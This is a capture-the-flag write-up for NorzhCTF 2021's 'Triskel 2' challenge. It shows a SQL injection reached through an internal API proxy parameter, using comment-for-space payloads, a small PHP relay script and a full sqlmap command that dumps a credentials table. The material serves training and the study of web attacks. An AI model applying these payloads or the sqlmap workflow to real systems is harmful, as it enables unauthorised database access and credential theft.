> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2021/norzhctf-2021/triskel-2-going-in.md).

# Triskel 2: Going In

## Problem

What did you do? You shouldn't have access to this chat, but you can't do anything from it right?

by Remsio

## Solution

Taking a closer look at `10.0.42.200`, we can see that there is a GET form with the `search` parameter.

![](/files/-MaRVThhxrejSB8SLQoO)

Hence, we can use

```
GET /api/call_api.php?api=10.0.42.200?search=
```

Testing out some basic payloads showed that SQL injection was possible, but spaces aren't allowed. Luckily, in MySQL, we can replace the spaces with comments (`/**/`).

We can see that

```
/api/call_api.php?api=10.0.42.200/?search=admin_richard_lauren'/**/OR/**/'1'='1
```

returns us all the messages, while

```
/api/call_api.php?api=10.0.42.200/?search=admin_richard_lauren'/**/OR/**/'1'='2
```

does not.

I could have scripted this myself, but I decided it was too much work and just relied on good ol' SQLMap. However, it required some fine-tuning to make sure SQLMap performs the injection correctly.

We're doing a "GET request within a GET request", so SQLMap gets confused. I set up a local HTTP proxy as follows:

```php
<?php
    // create a new cURL resource
    $ch = curl_init();

    // set URL and other appropriate options
    curl_setopt($ch, CURLOPT_URL, 'http://10.35.2.134:8100/api/call_api.php?api=10.0.42.200?search=' . $_GET['search']);
    curl_setopt($ch, CURLOPT_HEADER, false);

    // grab URL and pass it to the browser
    echo curl_exec($ch);

    // close cURL resource, and free up system resources
    curl_close($ch);
?>
```

Then, we can run SQLMap:

`sqlmap http://127.0.0.1/test.php?search=abc -p search --tamper=space2comment --technique=B --risk 3 --dump --threads 10 -D db -T internal_api_infos`

Note that we specify:

* `-p search`: inject through the search parameter
* `--tamper=space2comment`: modify the queries such that spaces are replaced by `/**/`
* `--technique=B`: use boolean-based injection
* `--risk 3`: attempt OR boolean-based injection (which we found earlier)

We get the admin credentials, which we can use to login to the first webpage.

![](/files/-MaRXQJU9DdLZJBTtVgc)

The remaining credentials are shown below:

![](/files/-MaRXToaI4g440NUmCP_)

This allows us to access the Admin page, which contains the flag.

![](/files/-MaRXXXOvotCQPhRuGOz)